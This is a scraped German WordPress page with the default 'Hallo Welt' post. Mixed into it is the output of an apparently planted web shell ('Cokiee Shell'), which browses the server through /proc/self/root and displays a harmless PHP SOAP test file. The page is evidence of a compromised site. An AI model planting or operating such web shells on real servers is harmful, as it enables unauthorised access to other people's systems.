Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/soap/tests/bugs/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/soap/tests/bugs/bug34657.phpt |
--TEST-- Bug #34657 (If you get a communication problem when loading the WSDL, it fatal's) --SKIPIF-- <?php require_once('skipif.inc'); if (extension_loaded("openssl")) { /* when openssl loaded, tcp stream is less verbose, so some error messages are missing so let's skip the test in this case */ die("skip OpenSSL extension required"); } ?> --FILE-- <?php try { $client = new SoapClient('http://i_dont_exist.com/some.wsdl'); echo "?\n"; } catch (SoapFault $e) { echo get_class($e)."\n"; echo $e->faultstring."\n"; echo "ok\n"; } catch (Exception $e) { echo get_class($e)."\n"; } ?> --EXPECTF-- SoapFault SOAP-ERROR: Parsing WSDL: Couldn't load from 'http://i_dont_exist.com/some.wsdl'%A ok
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare